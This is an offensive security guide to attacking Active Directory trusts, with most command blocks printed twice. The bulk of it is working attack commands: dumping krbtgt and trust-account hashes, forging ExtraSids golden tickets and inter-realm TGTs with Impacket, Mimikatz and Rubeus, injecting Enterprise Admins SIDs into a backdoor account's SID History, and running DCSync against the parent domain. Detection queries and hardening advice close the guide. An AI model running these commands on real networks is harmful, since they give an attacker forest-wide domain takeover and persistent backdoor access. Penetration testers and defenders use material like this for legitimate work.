AD Trust Attacks

Active Directory trusts allow authentication across domain and forest boundaries. By abusing trust keys, SID History, and ExtraSids, an attacker who compromises one domain can pivot to trusted domains β€” potentially reaching the entire forest. This guide covers intra-forest, inter-forest, and PAM trust exploitation.

Danger

Cross-domain and cross-forest attacks have high impact. Ensure your scope explicitly covers all target domains/forests before testing trust attacks. Modifying SID History or forging inter-realm tickets affects multiple security boundaries.

πŸ“š Quick Navigation

🎯 Why Trust Attacks Are Critical

  • Forest-Wide Impact: Compromising the root domain's krbtgt hash gives domain admin across the entire forest via ExtraSids golden tickets.
  • Scope Expansion: Trust attacks turn a single domain compromise into multi-domain or multi-forest access.
  • Common Architecture: Most enterprises with multiple environments (dev/prod, acquisitions, partners) use AD trusts.
  • Weak Filtering: Many organizations don't enable SID filtering on intra-forest trusts, making childβ†’parent escalation trivial.

Trust Types & Direction

Trust Type Direction SID Filtering Attack Viability
Parent-Child (Intra-forest) Bidirectional, transitive Disabled by design ExtraSids β†’ Forest Root DA
Shortcut (Intra-forest) One-way or bidirectional Disabled by design Same as parent-child
External (Inter-forest) One-way or bidirectional Enabled Limited β€” SID filtering blocks most attacks
Forest (Inter-forest) One-way or bidirectional Enabled TGT delegation, shared resources, selective auth bypass
PAM Trust One-way (bastion β†’ production) Enabled Shadow principal abuse

Trust Enumeration

bash
# PowerView β€” enumerate all trusts
Get-DomainTrust
Get-ForestDomain | Get-DomainTrust

# Detailed trust information
Get-DomainTrust | Select-Object SourceName, TargetName, TrustType, 
  TrustDirection, TrustAttributes

# BloodHound β€” visualize trust relationships
MATCH p=()-[:TrustedBy]->() RETURN p

# nltest (built-in Windows)
nltest /domain_trusts /all_trusts /v

# NetExec
nxc ldap dc01.corp.local -u user -p 'Pass123' --trusted-for-delegation

# From Linux β€” enumerate trusts via LDAP
ldapsearch -x -H ldap://dc01.corp.local -b "CN=System,DC=corp,DC=local" \
  "(objectClass=trustedDomain)" cn trustDirection trustType trustAttributes
# PowerView β€” enumerate all trusts
Get-DomainTrust
Get-ForestDomain | Get-DomainTrust

# Detailed trust information
Get-DomainTrust | Select-Object SourceName, TargetName, TrustType, 
  TrustDirection, TrustAttributes

# BloodHound β€” visualize trust relationships
MATCH p=()-[:TrustedBy]->() RETURN p

# nltest (built-in Windows)
nltest /domain_trusts /all_trusts /v

# NetExec
nxc ldap dc01.corp.local -u user -p 'Pass123' --trusted-for-delegation

# From Linux β€” enumerate trusts via LDAP
ldapsearch -x -H ldap://dc01.corp.local -b "CN=System,DC=corp,DC=local" \
  "(objectClass=trustedDomain)" cn trustDirection trustType trustAttributes

SID Filtering

SID Filtering strips SIDs from foreign domains from the token during cross-trust authentication. Within a forest, SID filtering is disabled by design — this is why child→parent Domain Admin escalation always works within a forest. Cross-forest trusts have SID filtering enabled by default but can be relaxed via TREAT_AS_EXTERNAL or TrustAttribute: 0x40.

powershell
# Check SID filtering status on a trust
Get-ADTrust -Filter * | Select-Object Name, Direction, 
  DisallowTransivity, SIDFilteringQuarantined, SIDFilteringForestAware

# Check trust attributes
netdom trust child.corp.local /domain:corp.local /quarantine
# Check SID filtering status on a trust
Get-ADTrust -Filter * | Select-Object Name, Direction, 
  DisallowTransivity, SIDFilteringQuarantined, SIDFilteringForestAware

# Check trust attributes
netdom trust child.corp.local /domain:corp.local /quarantine

Information

TrustAttribute flags: 0x01 = Non-transitive, 0x04 = SID Filtering (quarantine), 0x08 = Forest Trust, 0x40 = TREAT_AS_EXTERNAL (relaxes SID filtering β€” exploitable).

Child Domain β†’ Parent Domain (ExtraSids)

With DA in a child domain, forge a Golden Ticket with the Enterprise Admins SID from the parent domain in the ExtraSids field. Since SID filtering is disabled within a forest, the parent DC honors the EA SID and grants full access to the forest root.

Method 1: ExtraSids Golden Ticket

bash
# Prerequisites: krbtgt hash of child domain + Enterprise Admins SID of parent
# Step 1: Get child domain krbtgt hash (requires DA on child)
secretsdump.py 'child.corp.local/admin:Password1@child-dc01.child.corp.local' -just-dc-user krbtgt

# Step 2: Get the Enterprise Admins SID from parent domain
# Enterprise Admins SID = <parent-domain-SID>-519
lookupsid.py 'child.corp.local/admin:Password1@parent-dc01.corp.local' 0

# Step 3: Forge Golden Ticket with ExtraSids
ticketer.py -nthash <krbtgt-hash> -domain-sid S-1-5-21-child \
  -domain child.corp.local -extra-sid S-1-5-21-parent-519 \
  Administrator

# Step 4: Use the ticket against parent DC
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass parent-dc01.corp.local
# Prerequisites: krbtgt hash of child domain + Enterprise Admins SID of parent
# Step 1: Get child domain krbtgt hash (requires DA on child)
secretsdump.py 'child.corp.local/admin:Password1@child-dc01.child.corp.local' -just-dc-user krbtgt

# Step 2: Get the Enterprise Admins SID from parent domain
# Enterprise Admins SID = <parent-domain-SID>-519
lookupsid.py 'child.corp.local/admin:Password1@parent-dc01.corp.local' 0

# Step 3: Forge Golden Ticket with ExtraSids
ticketer.py -nthash <krbtgt-hash> -domain-sid S-1-5-21-child \
  -domain child.corp.local -extra-sid S-1-5-21-parent-519 \
  Administrator

# Step 4: Use the ticket against parent DC
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass parent-dc01.corp.local

Method 2: Trust Key (Inter-Realm TGT)

bash
# Step 1: Extract the trust key from child DC
# The trust key is the NTLM hash of the trust account (CHILD$)
secretsdump.py 'child.corp.local/admin:Password1@child-dc01.child.corp.local' \
  -just-dc-user 'CHILD$'

# Step 2: Forge inter-realm TGT with ExtraSids
ticketer.py -nthash <trust-key-hash> -domain-sid S-1-5-21-child \
  -domain child.corp.local -extra-sid S-1-5-21-parent-519 \
  -spn krbtgt/corp.local Administrator

# Step 3: Request service ticket and access parent DC
getST.py -k -no-pass -spn cifs/parent-dc01.corp.local corp.local/Administrator
export KRB5CCNAME=Administrator@cifs_parent-dc01.corp.local@CORP.LOCAL.ccache
smbclient.py -k -no-pass parent-dc01.corp.local
# Step 1: Extract the trust key from child DC
# The trust key is the NTLM hash of the trust account (CHILD$)
secretsdump.py 'child.corp.local/admin:Password1@child-dc01.child.corp.local' \
  -just-dc-user 'CHILD$'

# Step 2: Forge inter-realm TGT with ExtraSids
ticketer.py -nthash <trust-key-hash> -domain-sid S-1-5-21-child \
  -domain child.corp.local -extra-sid S-1-5-21-parent-519 \
  -spn krbtgt/corp.local Administrator

# Step 3: Request service ticket and access parent DC
getST.py -k -no-pass -spn cifs/parent-dc01.corp.local corp.local/Administrator
export KRB5CCNAME=Administrator@cifs_parent-dc01.corp.local@CORP.LOCAL.ccache
smbclient.py -k -no-pass parent-dc01.corp.local

With Mimikatz / Rubeus (Windows)

powershell
# Mimikatz β€” Golden Ticket with ExtraSids
kerberos::golden /user:Administrator /domain:child.corp.local \
  /sid:S-1-5-21-child /krbtgt:<krbtgt-hash> \
  /sids:S-1-5-21-parent-519 /ptt

# Rubeus β€” create golden ticket with extra SIDs
Rubeus.exe golden /rc4:<krbtgt-hash> /user:Administrator \
  /domain:child.corp.local /sid:S-1-5-21-child \
  /sids:S-1-5-21-parent-519 /ptt

# Verify access to parent DC
dir \\parent-dc01.corp.local\c$
# DCSync the parent
lsadump::dcsync /domain:corp.local /user:corpkrbtgt
# Mimikatz β€” Golden Ticket with ExtraSids
kerberos::golden /user:Administrator /domain:child.corp.local \
  /sid:S-1-5-21-child /krbtgt:<krbtgt-hash> \
  /sids:S-1-5-21-parent-519 /ptt

# Rubeus β€” create golden ticket with extra SIDs
Rubeus.exe golden /rc4:<krbtgt-hash> /user:Administrator \
  /domain:child.corp.local /sid:S-1-5-21-child \
  /sids:S-1-5-21-parent-519 /ptt

# Verify access to parent DC
dir \\parent-dc01.corp.local\c$
# DCSync the parent
lsadump::dcsync /domain:corp.local /user:corpkrbtgt

SID History Injection

SID History is an attribute designed for domain migrations β€” it preserves the old SID so users keep access to resources in the source domain. Attackers can inject arbitrary SIDs (including Enterprise Admins) into a user's SID History for persistent cross-domain access.

powershell
# Mimikatz β€” inject SID History into a user account
# Requires Domain Admin on current domain
privilege::debug
sid::patch
sid::add /sam:backdoor-user /new:S-1-5-21-parent-519

# The user now has Enterprise Admins privileges when authenticating
# This persists across password changes and even across krbtgt rotations

# DSInternals β€” add SID History
Stop-Service ntds -Force
Add-ADDBSidHistory -SamAccountName backdoor-user \
  -SidHistory S-1-5-21-parent-519 -DatabasePath 'C:\Windows\NTDS
tds.dit'
Start-Service ntds
# Mimikatz β€” inject SID History into a user account
# Requires Domain Admin on current domain
privilege::debug
sid::patch
sid::add /sam:backdoor-user /new:S-1-5-21-parent-519

# The user now has Enterprise Admins privileges when authenticating
# This persists across password changes and even across krbtgt rotations

# DSInternals β€” add SID History
Stop-Service ntds -Force
Add-ADDBSidHistory -SamAccountName backdoor-user \
  -SidHistory S-1-5-21-parent-519 -DatabasePath 'C:\Windows\NTDS
tds.dit'
Start-Service ntds

Warning

High Detection Risk: SID History modifications generate Event ID 4765 (SID History added) and 4766 (SID History add failed). Most mature SOCs alert on these events.

Cross-Forest Attacks

Cross-forest trust attacks are more limited due to SID filtering. However, several vectors remain viable:

Shared Resources & Groups

powershell
# Enumerate cross-forest group memberships
Get-DomainForeignGroupMember -Domain partner.com
Get-DomainForeignUser -Domain partner.com

# Find resources shared across the trust
Get-DomainObjectAcl -Domain partner.com -ResolveGUIDs | 
  Where-Object { $_.SecurityIdentifier -match 'S-1-5-21-<our-domain>' }

# BloodHound β€” cross-forest paths
MATCH p=()-[:MemberOf|HasSession|AdminTo*1..]->(g:Group) 
WHERE g.domain <> "CORP.LOCAL" RETURN p
# Enumerate cross-forest group memberships
Get-DomainForeignGroupMember -Domain partner.com
Get-DomainForeignUser -Domain partner.com

# Find resources shared across the trust
Get-DomainObjectAcl -Domain partner.com -ResolveGUIDs | 
  Where-Object { $_.SecurityIdentifier -match 'S-1-5-21-<our-domain>' }

# BloodHound β€” cross-forest paths
MATCH p=()-[:MemberOf|HasSession|AdminTo*1..]->(g:Group) 
WHERE g.domain <> "CORP.LOCAL" RETURN p

TREAT_AS_EXTERNAL Abuse

If TrustAttributes includes TREAT_AS_EXTERNAL (0x40), SID filtering is relaxed β€” domain-local group SIDs from the trusting forest can pass through the trust boundary.

bash
# Find trusts with TREAT_AS_EXTERNAL
Get-ADTrust -Filter * | Where-Object { $_.TrustAttributes -band 0x40 } |
  Select-Object Name, TrustAttributes

# Forge ticket with domain-local group SIDs from target forest
ticketer.py -nthash <trust-key> -domain-sid S-1-5-21-foreign \
  -domain foreign.com -extra-sid S-1-5-21-target-<RID> \
  -spn krbtgt/TARGET.COM Administrator
# Find trusts with TREAT_AS_EXTERNAL
Get-ADTrust -Filter * | Where-Object { $_.TrustAttributes -band 0x40 } |
  Select-Object Name, TrustAttributes

# Forge ticket with domain-local group SIDs from target forest
ticketer.py -nthash <trust-key> -domain-sid S-1-5-21-foreign \
  -domain foreign.com -extra-sid S-1-5-21-target-<RID> \
  -spn krbtgt/TARGET.COM Administrator

Trust Key Extraction

bash
# Extract trust keys from a DC (requires DA)
# Mimikatz
lsadump::trust /patch

# Impacket secretsdump β€” trust accounts end with $
secretsdump.py 'corp.local/admin:Password1@dc01.corp.local' \
  -just-dc-user 'PARTNER$'

# Trust keys are the NTLM hash of the inter-realm trust password
# Used to encrypt inter-realm TGTs (krbtgt/PARTNER.COM)
# Rotate by: netdom trust corp.local /domain:partner.com /resetpw
# Extract trust keys from a DC (requires DA)
# Mimikatz
lsadump::trust /patch

# Impacket secretsdump β€” trust accounts end with $
secretsdump.py 'corp.local/admin:Password1@dc01.corp.local' \
  -just-dc-user 'PARTNER$'

# Trust keys are the NTLM hash of the inter-realm trust password
# Used to encrypt inter-realm TGTs (krbtgt/PARTNER.COM)
# Rotate by: netdom trust corp.local /domain:partner.com /resetpw

Detection & Blue Team

Event ID Source Indicator
4765 Security SID History added to an account
4766 Security SID History add attempt failed
4768 Security TGT requested β€” look for inter-realm referrals with suspicious SIDs
4769 Security Cross-domain service ticket requests β€” unusual source domains

KQL Detection

text
// Detect SID History modifications
SecurityEvent
| where EventID in (4765, 4766)
| project TimeGenerated, SubjectUserName, TargetUserName, SidHistory

// Detect Golden Ticket with ExtraSids (anomalous TGT)
SecurityEvent
| where EventID == 4768
| where TargetDomainName != ServiceInfo  // Cross-domain TGT
| project TimeGenerated, TargetUserName, TargetDomainName, IpAddress

// Detect cross-forest Kerberos activity
SecurityEvent
| where EventID == 4769
| where ServiceName contains "$"  // Trust account service tickets
| where TargetDomainName != ServiceDomainName
| project TimeGenerated, TargetUserName, ServiceName, IpAddress
// Detect SID History modifications
SecurityEvent
| where EventID in (4765, 4766)
| project TimeGenerated, SubjectUserName, TargetUserName, SidHistory

// Detect Golden Ticket with ExtraSids (anomalous TGT)
SecurityEvent
| where EventID == 4768
| where TargetDomainName != ServiceInfo  // Cross-domain TGT
| project TimeGenerated, TargetUserName, TargetDomainName, IpAddress

// Detect cross-forest Kerberos activity
SecurityEvent
| where EventID == 4769
| where ServiceName contains "$"  // Trust account service tickets
| where TargetDomainName != ServiceDomainName
| project TimeGenerated, TargetUserName, ServiceName, IpAddress

Hardening Recommendations

Enable SID Filtering Where Possible

While intra-forest SID filtering can't be enabled without breaking the forest, ensure external/forest trusts have quarantine enabled.

Selective Authentication

Use selective authentication on forest trusts to restrict which users from the trusted forest can access resources.

Remove TREAT_AS_EXTERNAL

Audit trust attributes and remove the TREAT_AS_EXTERNAL flag unless explicitly required.

Monitor SID History Changes

Alert on Event IDs 4765/4766 and regularly audit SID History attributes across all user objects.